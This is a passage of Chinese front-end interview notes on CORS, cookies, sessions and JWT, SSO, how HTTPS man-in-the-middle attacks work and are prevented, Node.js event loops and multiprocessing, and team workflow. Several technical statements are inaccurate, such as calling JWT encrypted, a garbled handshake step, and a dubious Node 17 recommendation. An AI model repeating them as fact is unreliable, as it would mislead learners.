    故障点大概率在预检阶段,应检查网关是否接收 OPTIONS,以及响应中的允许来源、方法和请求头是否覆盖实际请求。因为预检由浏览器自动发起,业务服务看不到后续请求并不反常;放开全部来源虽可能暂时恢复,却会扩大安全边界。

  • 只需从 bb.com 读取一份公开数据,老系统提议用 JSONP,新系统提议配置 CORS;接口未来还要支持 POST,你会怎么选?

    应优先让服务端配置 CORS,因为它能明确授权来源、方法和请求头,并可覆盖后续 POST 场景。JSONP 借助 <script> 跨域加载并调用回调,只适合有限的脚本式读取;同时会引入全局回调和脚本执行风险。

# HTTP请求中token、cookie、session有什么区别

⚡ 30 秒速记

  • HTTP无状态的,每次请求都要携带cookie,以帮助识别身份

cookie 是浏览器按 HTTP 规范自动存储和携带的数据,session 是服务端保存的用户状态,token 则是应用自行约定和传递的身份凭证。 常见的 cookie + session 方案,会在 cookie 中保存用户标识,再到服务端查找对应用户信息。token 需要前端自行存储和携带,默认没有跨域限制,JWT 还可以包含加密后的用户信息。严格管理或需要快速封禁用户时更适合 session,没有特殊要求时可以考虑 JWT。

cookie

  • HTTP无状态的,每次请求都要携带cookie,以帮助识别身份
  • 服务端也可以向客户端set-cookie,cookie大小4kb
  • 默认有跨域限制:不可跨域共享,不可跨域传递cookie(可通过设置withCredential跨域传递cookie)

cookie本地存储

  • HTML5之前cookie常被用于本地存储
  • HTML5之后推荐使用localStorage和sessionStorage

现代浏览器开始禁止第三方cookie

  • 和跨域限制不同,这里是:禁止网页引入第三方js设置cookie
  • 打击第三方广告设置cookie
  • 可以通过属性设置 SameSite:Strict/Lax/None

cookie和session

  • cookie用于登录验证,存储用户标识(userId)
  • session在服务端,存储用户详细信息,和cookie信息一一对应
  • cookie+session是常见的登录验证解决方案

// 登录:用户名 密码
// 服务端set-cookie: userId=x1 把用户id传给浏览器存储在cookie中
// 下次请求直接带上cookie:userId=x1 服务端根据userId找到哪个用户的信息

// 服务端session集中存储所有的用户信息在缓存中
const session = {
  x1: {
    username:'xx1',
    email:'xx1'
  },
  x2: { // 当下次来了一个用户x2也记录x2的登录信息,同时x1也不会丢失
    username:'xx2',
    email:'xx2'
  },
}

token和cookie

  • cookie是HTTP规范(每次请求都会携带),而token是自定义传递
  • cookie会默认被浏览器存储,而token需自己存储
  • token默认没有跨域限制

JWT(json web token)

  • 前端发起登录,后端验证成功后,返回一个加密的token
  • 前端自行存储这个token(其他包含了用户信息,加密的)
  • 以后访问服务端接口,都携带着这个token,作为用户信息

session和jwt哪个更好?

  • session的优点
    • 用户信息存储在服务端,可快速封禁某个用户
    • 占用服务端内存,成本高
    • 多进程多服务器时不好同步,需要使用redis缓存
    • 默认有跨域限制
  • JWT的优点
    • 不占用服务端内存,token存储在客户端浏览器
    • 多进程、多服务器不受影响
    • 没有跨域限制
    • 用户信息存储在客户端,无法快速封禁某用户(可以在服务端建立黑名单,也需要成本)
    • 万一服务端密钥被泄露,则用户信息全部丢失
    • token体积一般比cookie大,会增加请求的数据量
  • 如严格管理用户信息(保密、快速封禁)推荐使用session
  • 没有特殊要求,推荐使用JWT

如何实现SSO(Single Sign On)单点登录

  • 单点登录的本质就是在多个应用系统中共享登录状态,如果用户的登录状态是记录在 Session 中的,要实现共享登录状态,就要先共享 Session

  • 所以实现单点登录的关键在于,如何让 Session ID(或 Token)在多个域中共享

  • 主域名相同,基于cookie实现单点登录

    • cookie默认不可跨域共享,但有些情况下可设置跨域共享
    • 主域名相同,如www.baidu.com、image.baidu.com
    • 设置cookie domain为主域baidu.com,即可共享cookie
    • 主域名不同,则cookie无法共享。可使用sso技术方案来做
  • 主域名不同,基于SSO技术方案实现

    • 系统A、B、SSO域名都是独立的
    • 用户访问系统A,系统A重定向到SSO登录(登录页面在SSO)输入用户名密码提交到SSO,验证用户名密码,将登录状态写入SSO的session,同时将token作为参数返回给客户端
    • 客户端携带token去访问系统A,系统A携带token去SSO验证,SSO验证通过返回用户信息给系统A
    • 用户访问B系统,B系统没有登录,重定向到SSO获取token(由于SSO已经登录了,不需要重新登录认证,之前在A系统登录过),拿着token去B系统,B系统拿着token去SSO里面换取用户信息
    • 整个所有用户的登录、用户信息的保存、用户的token验证,全部都在SSO第三方独立的服务中处理

💬 面试官追问

  • 登录接口把 userId 明文写进 Cookie,服务端收到后直接按它查询用户;有人把值从 x1 改成 x2,为什么即使使用了 HTTPS 也挡不住越权?

    HTTPS 只能保护传输过程,不能证明客户端提交的 userId 可信。服务端应使用不可伪造的会话标识关联 Session,或校验签名可靠的 Token,并在每次请求中重新检查资源权限;只隐藏或编码用户标识仍会留下越权风险。

  • 一个管理后台采用 Cookie + Session,准备部署到四个 Node.js 实例并由负载均衡随机转发,请求偶发掉登录态,你会怎样改造?

    登录态不能只保存在某个实例的内存中,否则后续请求落到其他实例就无法识别。应把 Session 放入 Redis 等共享存储,并让 Cookie 只携带会话标识,同时设置合理的过期、续期和销毁策略;共享存储会增加依赖、网络开销和故障面。

  • 公司把系统从同一主域下的 a.example.com、b.example.com,拆成两个完全不同的域名,原先设置 Domain=example.com 的登录 Cookie 为什么失效,SSO 应怎样接管?

    不同主域之间不能直接共享同一个 Cookie,调整 Domain 或开启 withCredentials 都不能突破该边界。两个系统应分别重定向到独立的 SSO 服务取得临时凭据,再由各自后端向 SSO 验证并建立本系统登录态;重定向参数必须防重放和泄漏。

  • 前端把 JWT 存在 localStorage,线上出现用户凭据被盗用,但服务端没有异常登录记录;你会优先排查哪些链路?

    应先排查页面是否存在 XSS、第三方脚本污染或日志上报泄漏,因为脚本可以直接读取 localStorage 中的令牌。随后核对令牌有效期、签名校验、传输位置和服务端审计记录;改用 HttpOnly Cookie 可降低脚本窃取风险,但还需处理 CSRF。

  • 安全团队要求账号封禁后立即失效,架构团队又希望服务无状态、方便横向扩容;在 Session 和 JWT 之间怎么取舍?

    立即封禁更适合服务端可控的 Session,删除共享会话即可使后续请求失效。JWT 若保持完全无状态,通常只能等待过期;引入短有效期、刷新机制或黑名单能够改善撤销能力,但也重新带来状态存储、查询成本和一致性问题。

# 什么是HTTPS中间人攻击,如何预防(HTTPS加密过程、原理)

⚡ 30 秒速记

  • HTTPS加密传输

HTTPS 中间人攻击,是攻击者分别冒充服务端和客户端建立加密连接,从而监听或转发双方数据。 正常情况下,服务端通过 CA 证书提供公钥,客户端生成随机密钥并用公钥加密,服务端用私钥解密,后续再用这把密钥进行效率更高的对称加密。如果客户端不验证证书,中间人就能返回自己的证书,并分别解密、重新加密两端通信。预防的关键是使用正规厂商颁发的证书,并完成证书身份验证,免费证书需要谨慎使用。

HTTPS加密传输

  • HTTP是明文传输
  • HTTPS加密传输 HTTP + TLS/SSL

TLS 中的加密

  • 对称加密 两边拥有相同的秘钥,两边都知道如何将密文加密解密。
  • 非对称加密 有公钥私钥之分,公钥所有人都可以知道,可以将数据用公钥加密,但是将数据解密必须使用私钥解密,私钥只有分发公钥的一方才知道

对称密钥加密和非对称密钥加密它们有什么区别

  • 对称密钥加密是最简单的一种加密方式,它的加解密用的都是相同的密钥,这样带来的好处就是加解密效率很快,但是并不安全,如果有人拿到了这把密钥那谁都可以进行解密了。
  • 而非对称密钥会有两把密钥,一把是私钥,只有自己才有;一把是公钥,可以发布给任何人。并且加密的内容只有相匹配的密钥才能解。这样带来的一个好处就是能保证传输的内容是安全的,因为例如如果是公钥加密的数据,就算是第三方截取了这个数据但是没有对应的私钥也破解不了。不过它也有缺点,一是公钥因为是公开的,谁都可以过去,如果内容是通过私钥加密的话,那拥有对应公钥的黑客就可以用这个公钥来进行解密得到里面的信息;二来公钥里并没有包含服务器的信息,也就是并不能确保服务器身份的合法性;并且非对称加密的时候要消耗一定的时间,减低了数据的传输效率。

HTTPS加密的过程

  1. 客户端请求www.baidu.com
  2. 服务端存储着公钥和私钥
  3. 服务器把CA数字证书(包含公钥)响应式给客户端
  4. 客户端解析证书拿到公钥,并生成随机码KEY(加密的key没有任何意义,如ABC只有服务端的私钥才能解密出来,黑客劫持了KEY也是没用的)
  5. 客户端把解密后的KEY传递给服务端,作为接下来对称加密的密钥
  6. 服务端拿私钥解密随机码KEY,使用随机码KEY 对传输数据进行对称加密
  7. 把对称加密后的内容传输给客户端,客户端使用之前生成的随机码KEY进行解密数据

介绍下https中间人攻击的过程

这个问题也可以问成为什么需要CA认证机构颁发证书?

我们假设如果不存在认证机构,则人人都可以制造证书,这就带来了"中间人攻击"问题。

中间人攻击的过程如下

  • 客户端请求被劫持,将所有的请求发送到中间人的服务器
  • 中间人服务器返回自己的证书
  • 客户端创建随机数,使用中间人证书中的公钥进行加密发送给中间人服务器,中间人使用私钥对随机数解密并构造对称加密,对之后传输的内容进行加密传输
  • 中间人通过客户端的随机数对客户端的数据进行解密
  • 中间人与服务端建立合法的https连接(https握手过程),与服务端之间使用对称加密进行数据传输,拿到服务端的响应数据,并通过与服务端建立的对称加密的秘钥进行解密
  • 中间人再通过与客户端建立的对称加密对响应数据进行加密后传输给客户端
  • 客户端通过与中间人建立的对称加密的秘钥对数据进行解密

简单来说,中间人攻击中,中间人首先伪装成服务端和客户端通信,然后又伪装成客户端和服务端进行通信(如图)。 整个过程中,由于缺少了证书的验证过程,虽然使用了https,但是传输的数据已经被监听,客户端却无法得知

预防中间人攻击

使用正规厂商的证书,慎用免费的

💬 面试官追问

  • 公司内网代理给浏览器返回自己的证书,再与真实支付站点建立另一条 HTTPS 连接;浏览器仍显示安全连接时,为什么流量依然可能被代理读取?

    代理分别终止了客户端和服务端的两条 TLS 连接,因此能在中间获得明文后再加密转发。只有当代理证书被客户端信任时浏览器才不会告警;这说明加密通道还依赖证书身份校验,不能只看地址是否使用 https://。

  • 客户端拿到服务器证书后,工程实现里至少要验证什么,才能避免把会话密钥交给冒充服务器的节点?

    客户端应验证证书链是否受信任、证书标识是否匹配目标域名,并确认有效性等状态,而不是无条件接受证书中的公钥。验证通过后再按 TLS 握手协商密钥;关闭证书校验或允许用户随意忽略告警,会直接破坏服务器身份认证。

  • 有人建议所有业务数据都直接使用证书公钥做非对称加密,取消后续的对称加密阶段,你会接受吗?

    不应接受,非对称加密计算成本较高,更适合身份认证和安全协商,而不适合持续承载大量业务数据。TLS 建立共享密钥后使用对称加密传输正文,兼顾机密性与效率;具体握手细节会随 TLS 版本和密钥交换算法变化。

  • 线上只有一批旧设备访问 API 时出现证书错误,新浏览器均正常,服务端业务日志也没有请求;你会从哪里开始定位?

    请求很可能在 TLS 握手阶段就失败,因此应先检查客户端时间、域名匹配、证书链是否完整以及设备是否信任对应根证书。再结合网关握手日志和抓包区分证书校验失败、协议不兼容或中间代理替换证书;业务处理日志为空不能证明网络请求未发生。

  • 移动端团队提出把“使用正规 CA 证书”作为全部防护,安全团队要求额外固定证书公钥;两种方案的代价怎么判断?

    受信任 CA 证书和严格校验是基础,可阻止客户端接受任意自签名证书。公钥固定能进一步降低错误信任或本地代理带来的风险,但证书轮换、密钥更新和灾难恢复更复杂;固定信息未及时更新时,合法服务也会被客户端拒绝。

# 11 Node

# 浏览器和nodejs事件循环(Event Loop)有什么区别

⚡ 30 秒速记

  • JS是单线程的,无论在浏览器还是在nodejs

浏览器和 Node.js 都用事件循环解决单线程异步问题,主要区别在任务类型、执行优先级和运行环境。 浏览器会在当前同步代码结束后优先清空微任务,再处理宏任务,DOM 渲染位于两类任务之间,微任务在渲染前执行。Node.js 的宏任务分为 Timer、Poll、Check 等阶段,并会在阶段切换时处理微任务,其中 process.nextTick 优先级最高。简单场景看起来流程相近,但涉及 I/O、setImmediate 或 process.nextTick 时,要按 Node.js 的阶段和优先级判断。

单线程和异步

  • JS是单线程的,无论在浏览器还是在nodejs
  • 浏览器中JS执行和DOM渲染共用一个线程,是互斥的
  • 异步是单线程的解决方案

1. 浏览器中的事件循环

异步里面分宏任务和微任务

  • 宏任务:setTimeout,setInterval,setImmediate,I/O,UI渲染,网络请求
  • 微任务:Promise,process.nextTick,MutationObserver、async/await
  • 宏任务和微任务的区别:微任务的优先级高于宏任务,微任务会在当前宏任务执行完毕后立即执行,而宏任务会在下一个事件循环中执行
    • 宏任务在页面渲染之后执行
    • 微任务在页面渲染之前执行
    • 也就是微任务在下一轮DOM渲染之前执行,宏任务在DOM渲染之后执行

console.log('start')
setTimeout(() => { 
  console.log('timeout')
})
Promise.resolve().then(() => {
  console.log('promise then')
})
console.log('end')

// 输出
// start 
// end 
// promise then
// timeout
// 分析

// 等同步代码执行完后,先从微任务队列中获取(微任务队列优先级高),队列先进先出

// 宏任务 MarcoTask 队列
// 如setTimeout 1000ms到1000ms后才会放到队列中
const MarcoTaskQueue = [
  () => {
    console.log('timeout')
  },
  fn // ajax回调放到宏任务队列中等待
]  

ajax(url, fn) // ajax 宏任务 如执行需要300ms


// ********** 宏任务和微任务中间隔着 【DOM 渲染】 ****************

// 微任务 MicroTask 队列
const MicroTaskQueue = [
  () => {
    console.log('promise then')
  }
]

// 等宏任务和微任务执行完后 Event Loop 继续监听(一旦有任务到了宏任务微任务队列就会立马拿过来执行)...
<p>Event Loop</p>

<script>
  const p = document.createElement('p')
  p.innerHTML = 'new paragraph'
  document.body.appendChild(p)
  const list = document.getElementsByTagName('p')
  console.log('length----', list.length) // 2

  console.log('start')
  // 宏任务在页面渲染之后执行
  setTimeout(() => {
    const list = document.getElementsByTagName('p')
    console.log('length on timeout----', list.length) // 2
    alert('阻塞 timeout') // 阻塞JS执行和渲染
  })
  // 微任务在页面渲染之前执行
  Promise.resolve().then(() => {
    const list = document.getElementsByTagName('p')
    console.log('length on promise.then----', list.length) // 2
    alert('阻塞 promise') // 阻塞JS执行和渲染
  })
  console.log('end')
</script>

2. nodejs中的事件循环

  • nodejs也是单线程,也需要异步
  • 异步任务也分为:宏任务 + 微任务
  • 但是,它的宏任务和微任务分为不同的类型,有不同的优先级
  • 和浏览器的主要区别就是类型和优先级,理解了这里就理解了nodejs的事件循环

宏任务类型和优先级

类型分为6个,优先级从高到底执行

  • Timer:setTimeout、setInterval
  • I/O callbacks:处理网络、流、TCP的错误回调
  • Idle,prepare:闲置状态(nodejs内部使用)
  • Poll轮询:执行poll中的I/O队列
  • Check检查:存储setImmediate回调
  • Close callbacks:关闭回调,如socket.on('close')

注意:process.nextTick优先级最高,setTimeout比setImmediate优先级高

执行过程

  • 执行同步代码
  • 执行微任务(process.nextTick优先级最高)
  • 按顺序执行6个类型的宏任务(每个开始之前都执行当前的微任务)

总结

  • 浏览器和nodejs的事件循环流程基本相同
  • nodejs宏任务和微任务分类型,有优先级。浏览器里面的宏任务和微任务是没有类型和优先级的
  • node17之后推荐使用setImmediate代替process.nextTick(如果使用process.nextTick执行复杂任务导致后面的卡顿就得不偿失了,尽量使用低优先级的api去执行异步)
console.info('start')
setImmediate(() => {
  console.info('setImmediate')
})
setTimeout(() => {
  console.info('timeout')
})
Promise.resolve().then(() => {
  console.info('promise then')
})
process.nextTick(() => {
  console.info('nextTick')
})
console.info('end')

// 输出
// start
// end
// nextTick
// promise then
// timeout
// setImmediate

💬 面试官追问

  • 页面执行 Promise.resolve().then(...) 和 setTimeout(..., 0),同步代码结束后一定先打印 then;能否据此断言浏览器中所有微任务永远比所有定时器先执行?

    不能,这个顺序只描述同一轮任务结束后的微任务检查点:当前微任务队列会先被清空,定时器回调需等待后续任务机会。若定时器已在另一轮执行、微任务尚未入队,或宿主调度条件不同,就不能脱离上下文比较“全局优先级”。

  • 一个搜索页面在 Promise.then 中递归追加微任务并更新 DOM,接口已经返回,但页面长时间不绘制;事件循环层面该怎样解释和处理?

    浏览器会在当前任务结束后持续清空微任务队列,递归补充微任务可能让渲染迟迟得不到机会。应拆分计算或批量更新,并在适当位置让出一次任务或帧;仅把同步逻辑包装进 Promise 不会降低主线程负担。

  • 同一段脚本在浏览器和 Node.js 中运行,其中包含 process.nextTick、Promise.then、setImmediate 与 setTimeout,为什么不能照搬浏览器的排序口诀?

    process.nextTick 和 setImmediate 是 Node.js 宿主提供的调度机制,浏览器通常没有这两个 API。Node.js 还按 timers、poll、check 等阶段处理回调,并优先清理 nextTick;具体输出仍受回调注册位置和 I/O 上下文影响。

  • Node.js 服务 CPU 不高却迟迟不处理 socket 回调,监控显示 process.nextTick 回调持续增长,你会如何确认是否发生事件循环饥饿?

    应检查是否有回调递归调用 process.nextTick,并观察 I/O、timer 和 check 阶段是否长期得不到执行。可通过采样、事件循环延迟和最小化复现定位调用链,再把非紧急工作分批调度;换成较低优先级 API 仍不能替代任务限流。

  • I/O 回调里同时注册 setImmediate 和 setTimeout(..., 0),候选人声称定时器必然先执行;你会怎样纠正这个判断?

    不能把示例脚本顶层的一次输出当成稳定规则,Node.js 的执行顺序取决于当前所处阶段和定时器是否到期。在 I/O 回调上下文中,setImmediate 会进入 check 阶段,而零延时定时器要等待 timers 阶段;跨环境和跨上下文都应通过阶段模型分析。

# nodejs如何开启多进程,进程如何通讯

⚡ 30 秒速记

  • 进程process和线程thread的区别

Node.js 可以通过 child_process.fork 或 cluster.fork 开启多进程,进程之间使用 send 和 message 事件通信。 进程拥有独立内存,而线程共享所属进程的内存,所以多进程能更充分地利用多核和较大内存。计算量较大的单项任务适合交给 child_process.fork,需要启动多个服务实例时更适合用 cluster。不过子进程退出、消息异常和资源回收都要处理,实际工作中也可以用 PM2 做进程守护。

进程process和线程thread的区别

  • 进程,OS进行资源分配和调度的最小单位,有独立的内存空间
  • 线程,OS进程运算调度的最小单位,共享进程内存空间
  • JS是单线程的,但可以开启多进程执行,如WebWorker

为何需要多进程

  • 多核CPU,更适合处理多进程
  • 内存较大,多个进程才能更好利用(单进程有内存上限)
  • 总之,压榨机器资源,更快、更节省

如何开启多进程

  • 开启子进程 child_process.fork和cluster.fork
    • child_process.fork用于单个计算量较大的计算
    • cluster用于开启多个进程,多个服务
  • 使用send和on传递消息

使用child_process.fork方式

const http = require('http')
const fork = require('child_process').fork

const server = http.createServer((req, res) => {
  if (req.url === '/get-sum') {
    console.info('主进程 id', process.pid)

    // 开启子进程 计算结果返回
    const computeProcess = fork('./compute.js')
    computeProcess.send('开始计算') // 发送消息给子进程开始计算,在子进程中接收消息调用计算逻辑,计算完成后发送消息给主进程

    computeProcess.on('message', data => {
      console.info('主进程接收到的信息:', data)
      res.end('sum is ' + data)
    })

    computeProcess.on('close', () => {
      console.info('子进程因报错而退出')
      computeProcess.kill() // 关闭子进程
      res.end('error')
    })
  }
})
server.listen(3000, () => {
  console.info('localhost: 3000')
})
// compute.js

/**
 * @description 子进程,计算
 */

function getSum() {
  let sum = 0
  for (let i = 0; i < 10000; i++) {
    sum += i
  }
  return sum
}

process.on('message', data => {
  console.log('子进程 id', process.pid)
  console.log('子进程接收到的信息: ', data)

  const sum = getSum()

  // 发送消息给主进程
  process.send(sum)
})

使用cluster方式

const http = require('http')
const cpuCoreLength = require('os').cpus().length
const cluster = require('cluster')

// 主进程
if (cluster.isMaster) {
    for (let i = 0; i < cpuCoreLength; i++) {
      cluster.fork() // 根据核数 开启子进程
    }

    cluster.on('exit', worker => {
      console.log('子进程退出')
      cluster.fork() // 进程守护
    })
} else {
  // 多个子进程会共享一个 TCP 连接,提供一份网络服务
  const server = http.createServer((req, res) => {
    res.writeHead(200)
    res.end('done')
  })
  server.listen(3000)
}


// 工作中 使用PM2开启进程守护更方便

💬 面试官追问

  • 一个 Node.js 接口每次收到 /get-sum 请求都执行 child_process.fork('./compute.js');并发升高后机器开始抖动,这种写法的问题在哪里?

    每次请求都创建进程会产生启动、内存和进程调度成本,并可能在突发流量下生成过多子进程。应使用固定数量的工作进程、任务队列和并发上限复用计算能力;若任务很轻,进程间通信成本甚至可能高于计算收益。

  • 主进程把计算任务发给子进程后,只监听 message 和 close,客户端断开或子进程一直不返回时,线上请求会发生什么,怎么补齐?

    请求可能长期悬挂,相关子进程和监听器也可能继续占用资源。主进程应设置超时、监听 error 与退出事件,并在客户端断开时取消或丢弃结果;强制终止进程可能中断它承载的其他任务,因此需要明确进程是否专用。

  • 服务原来只有一个 CPU 密集计算任务,后来变成持续承载 HTTP 流量并希望利用全部 CPU 核心;child_process.fork 和 cluster.fork 应怎样调整选型?

    独立重计算适合交给专门的子进程并通过 send、message 返回结果,而多个 HTTP 服务进程更契合 cluster 的工作进程模型。cluster 可让多个进程共同提供一个端口的服务,但会话和缓存不能依赖某个进程的私有内存。

  • 使用 cluster 启动多个 worker 后,用户偶发丢失登录态,但单进程运行正常;你会如何定位?

    应先检查登录态是否保存在 worker 的进程内存中,因为请求可能被分发到不同 worker,而进程之间不共享内存。将 Session 等状态迁移到共享存储,并通过 worker 标识和请求日志验证分发路径;共享存储故障会成为新的公共风险。

  • worker 崩溃后主进程立即执行 cluster.fork(),结果短时间内反复退出并耗尽资源;进程守护策略还缺什么?

    立即无条件拉起会在代码缺陷或依赖故障时形成崩溃循环。应记录退出原因,限制重启频率并设置退避和熔断,同时保留健康检查与告警;只依赖 PM2 或主进程守护能恢复进程,不能修复导致退出的根因。

# 12 综合题目

# 你们的工作流程是怎么样的

⚡ 30 秒速记

  • 下图是完整的大厂前端项目研发流程图

我们的项目通常会经过立项、需求与设计评审、技术方案、开发联调、测试上线和复盘几个阶段。 前端在需求阶段会主动确认边界和风险,但排期不会当场承诺,而是评估后再谨慎给出。进入开发前会评审方案和接口,开发中做好规范、code review、单元测试、自测以及视觉和程序联调。提测后及时配合 QA 修复并回归,上线完成也以回归测试通过为准,项目总结则根据实际情况安排。

流程图

下图是完整的大厂前端项目研发流程图

项目角色

  • 项目委员会:这是一个很虚的角色,即能确定项目是否要做的那帮人,有时候可能就是一个高级经理就能拍板确定。和我们实际开发没啥关系,不用去关心他。
  • PM:产品经理,也是一个项目的推动者,即兼职项目经理的角色。
  • UE:交互设计师,负责页面布局、交互的设计,不负责视图的细节。
  • UI:视觉设计师,交互确定之后,设计页面样式。注意,很多情况下,UE 和 UI 是一个人。
  • RD:后端开发人员。
  • CRD:客户端开发人员,安卓和 ios 都是。
  • FE:前端开发人员。
  • QA:测试人员。
  • OP:服务器运维人员,一般负责审批上线单

主要流程

项目立项

  • 主要是各个部门的 leader 确定项目要做了,就是“拍板儿”确定。此时不需要工程师参与,因为决定权在于他们。项目立项时没有任何详细的信息,如需求、设计图等,都要后面继续做。
  • 编写需求和需求评审
    • PM 根据项目的背景和目标,编写需求文档,画原型图(不是 UI 设计图),然后叫各个角色开会评审。
    • 你如果作为 FE 角色去参与评审,要积极提出自己的问题和建议。需求评审不一定一次通过。
    • 如果此时 PM 跟你要工作排期,你不要立即回复。回去跟你的 leader 商量之后,给一个谨慎的排期。
  • 编写技术方案
    • 需求指导设计,设计指导开发。先做技术方案设计,写文档,待评审之后再开发。
  • 技术方案评审
    • 技术方案写完之后,要叫 leader ,以及其他技术角色人员一起评审。
      • 第一,和其他技术人员确定接口格式,是否都能认同
      • 第二,让 leader 或者架构师确定这个设计有没有漏洞、安全问题等
  • 交互视觉设计和评审
    • 需求评审通过之后,UE 和 UI 就开始出设计稿。做完设计稿之后,会叫相关开发人员参与评审。和需求评审一样,你要提出自己的问题和建议。
  • 开发
    • 上述评审都结束之后,才可以进入开发阶段。开发时要注意开发规范,及时 code review,写单元测试。
  • 视觉联调
    • 网页界面开发完成之后,要找 UI 人员来视觉联调,让他们确认是否可以。如果不可以,就直接修改,直到评审通过。
    • 这一步要尽早执行,不要等待临上线了,再去调整 UI 界面。
  • 程序联调
    • 代码功能开发完之后,要和其他相关技术人员(RD、CRD)进行接口联调。就是在开发环境下,先把系统对接起来,看看会不会出错。
    • 注意,接口联调不是测试,不用太过于项目,能把最基本的功能跑通即可。
  • 自测
    • 对于自己开发的功能,一定要自己按照需求测试一遍。不要求测试的很详细,至少也把基本功能跑通。
    • 这一步是为了防止提测之后被 QA 发现基本功能不可用,就很尴尬。人家会觉得你不靠谱。
  • 提测
    • 自测完成之后,即可把代码提测给 QA 。这一步很关键,要发邮件,抄送给项目组的相关成员。
  • 测试
    • QA 进行详细的功能测试。测试期间会有 bug 反馈,要及时修复 bug ,并及时让 QA 回归测试。
    • 测试期间要积极和 QA 沟通,最好每天都开一个站会。
  • 上线 & 回归测试
    • QA 测试完成会发邮件全体通报测试通过,测试就可以准备上线。
    • 上线之后要及时和 QA 组织回归测试,待回归测试完成之后才可以通知:上线完成
  • 项目总结(可选)
    • 回顾一下经过,总结一下得失,积累一点经验,这样才能慢慢成长

💬 面试官追问

  • 需求评审现场,PM 拿着原型要求 FE 当场承诺周五上线,但接口、视觉稿和依赖方排期都没确定,你会怎么回应?

    应先确认需求范围、依赖接口、设计交付和验收标准,再与技术负责人拆解工作量后给出谨慎排期。可以先提供带前提的时间区间和风险项,但不能把未评审的假设包装成确定承诺;关键依赖变化时需同步调整计划。

  • 技术方案评审时,FE 和 RD 对分页字段、错误码及登录失效处理意见不一致,直接各自开发会造成什么后果,如何收敛?

    接口契约未统一会把分歧推迟到联调阶段,造成重复修改和异常分支遗漏。双方应在方案评审中明确请求响应结构、错误语义和鉴权行为,并把结论写入可追踪文档;契约仍可能随需求变化,但变更必须同步相关角色。

  • 页面功能已经开发完成,UI 直到上线前一天才参与验收,发现大量间距和状态稿不一致;流程上怎样避免这类返工?

    视觉联调应在页面具备基本形态后尽早进行,并按组件、关键页面和异常状态分批确认。开发前也要在设计评审中暴露响应式、空状态和交互细节;提前评审能降低返工,但无法替代最终在真实环境中的验收。

  • 提测后 QA 报告核心流程无法提交,FE 本地却正常,接口联调也曾跑通;你会按什么顺序排查?

    先核对测试环境版本、配置、接口地址和复现账号,再比较浏览器请求、服务端日志与需求验收条件。接口联调只证明基本对接,自测还应覆盖核心路径和必要异常分支;若环境差异无法快速消除,应明确阻塞范围并同步项目成员。

  • 测试通过后产品要求立即宣布上线完成,运维刚执行发布,QA 尚未做线上回归;你会坚持哪些完成条件?

    发布成功只代表代码进入生产环境,不能等同于业务可用。应由相关角色检查核心链路、版本与监控,完成必要回归后再宣布上线完成,并预先准备回滚路径;回归范围需按风险控制,不能在生产环境无边界地重复测试。

  • 一次上线延期,PM 认为开发慢,FE 认为需求反复,QA 认为提测质量差;项目总结怎样避免变成责任争论?

    复盘应沿需求变更、评审结论、开发提测、缺陷回归和上线节点还原事实,并区分个人动作与流程缺口。最终沉淀可执行改进及负责人,例如变更确认、提测清单和风险检查;没有记录支撑的归因应保持保守,避免把推测写成结论。

# 工作中遇到过哪些项目难点,是如何解决的

⚡ 30 秒速记

  • 遇到问题要注意积累

遇到项目难点时,我会把问题背景、现象和影响说清楚,再说明分析过程、解决办法以及最终收获。 比如编辑器只能回显 JSON 数据,却无法兼容老版本的 HTML 内容,这会直接影响旧数据的正常使用。解决方式是把旧版 HTML 反解析为 JSON,统一交给现有编辑器处理。这个场景提醒我,方案不能只看当前输入输出,还要考虑旧版本用户和其他产品的处理方式。

遇到问题要注意积累

  • 每个人都会遇到问题,总有几个问题让你头疼
  • 日常要注意积累,解决了问题要自己写文章复盘

如果之前没有积累

  • 回顾一下半年之内遇到的难题
  • 思考当时解决方案,以及解决之后的效果
  • 写一篇文章记录一下,答案就有了

答案模板

  • 描述问题:背景 + 现象 + 造成的影响
  • 问题如何被解决:分析 + 解决
  • 自己的成长:学到了什么 + 以后如何避免

一个示例

  • 问题:编辑器只能回显JSON格式的数据,而不支持老版本的HTML格式
  • 解决:将老版本的HTML反解析成JSON格式即可解决
  • 成长:要考虑完整的输入输出 + 考虑旧版本用户 + 参考其他产品

💬 面试官追问

  • 你把富文本编辑器的难点概括成“兼容旧数据”,但页面只是无法回显一批老版本 HTML,为什么这不只是补一个格式判断?

    难点不在判断格式,而在保证旧内容经过转换后仍能被新编辑器正确读取、编辑和保存。需要梳理新旧数据的输入输出边界,识别无法映射的标签与样式;若转换不能保持语义,就应降级展示或保留原数据,不能宣称完全兼容。

  • 历史文章同时存在 HTML 和 JSON,详情页能展示但编辑页打开旧文章为空,你会怎样把修复方案落到代码和发布流程中?

    我会先在数据入口识别格式,再把旧版 HTML 反解析为编辑器接受的 JSON,并用典型历史内容验证回显和再次保存。上线前还要保留原始内容并记录转换失败项;解析规则覆盖不全时,不能直接批量覆盖旧数据。

  • 如果后来发现旧内容不止一种 HTML 结构,还混有内联样式、非法标签和其他编辑器生成的节点,你原来的反解析方案怎么调整?

    我会把转换逻辑拆成格式识别、清洗、节点映射和兜底四层,并按已知来源维护可验证的规则。无法安全映射的节点应保留文本或进入人工处理队列;规则越宽松越容易误改内容,越严格则会增加兼容失败率。

  • 转换功能上线后,少量文章在编辑并保存一次后出现段落丢失,但接口没有报错,你先查前端渲染、解析器还是后端存储?

    我会用同一份原始内容逐段对比“读取、反解析、编辑器序列化、接口提交、再次读取”的结果,定位内容首次丢失的环节。接口成功只代表请求完成,不能证明数据等价;若无法快速确认,应暂停自动转换并用原数据回退。

  • 旧文章兼容可以选择“打开时即时转换”或“离线批量迁移”,如果文章量大且仍需支持回滚,你会怎么选?

    我会依据访问频率、转换稳定性和回滚要求取舍,规则尚未充分验证时更倾向即时转换并保留原数据,便于小范围暴露问题。批量迁移能统一数据格式,但必须有校验、失败清单和备份,否则一次错误会扩大影响面。

  • 解决完旧版 HTML 回显后,你会怎样复盘,避免下次编辑器升级又出现只支持新格式的断层?

    复盘应沉淀完整的输入输出契约、历史样本和兼容测试,而不只记录某条解析规则。后续升级前要验证旧数据读取、新数据保存及跨版本往返;如果编辑器格式本身不稳定,还需保留版本字段和迁移边界。

# 你未来发展怎么规划的

⚡ 30 秒速记

  • 我想在工作中再创新高,我希望在三年以内能够在我职业上做出点成绩,比如达到架构师,我希望能在公司做技术强的人之一,能够带领更多同事做的更好

